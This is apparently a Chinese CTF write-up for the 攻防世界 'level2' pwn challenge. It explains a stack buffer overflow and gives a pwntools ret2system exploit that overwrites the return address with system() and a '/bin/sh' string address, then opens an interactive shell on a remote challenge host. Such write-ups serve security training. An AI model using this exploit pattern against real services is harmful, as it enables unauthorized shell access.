Pwn弟弟的成长日记（三）--攻防世界level2

解题思路

1. 查看文件信息，安全机制
2. 代码审计
3. 分析漏洞点
4. 编写EXP

查看文件信息，安全机制

代码审计

分析漏洞点

很常规的溢出我们来构造payload
没有直接system（binsh）的函数
但是字符串中有/bin/sh 程序中也有system函数
我们要把/bin/sh作为参数给system
payload=offset*”a”+p32(system_addr)+p32(0x00000000)+p32(binsh_addr)

编写exp

from pwn import *
p=remote("111.198.29.45",58329)
p.recv()
system_addr=0x08048320
offset=0x88+0x4
payload=offset*"a"+p32(system_addr)+p32(0x00000000)+p32(0x0804a025)
p.sendline(payload)
p.interactive()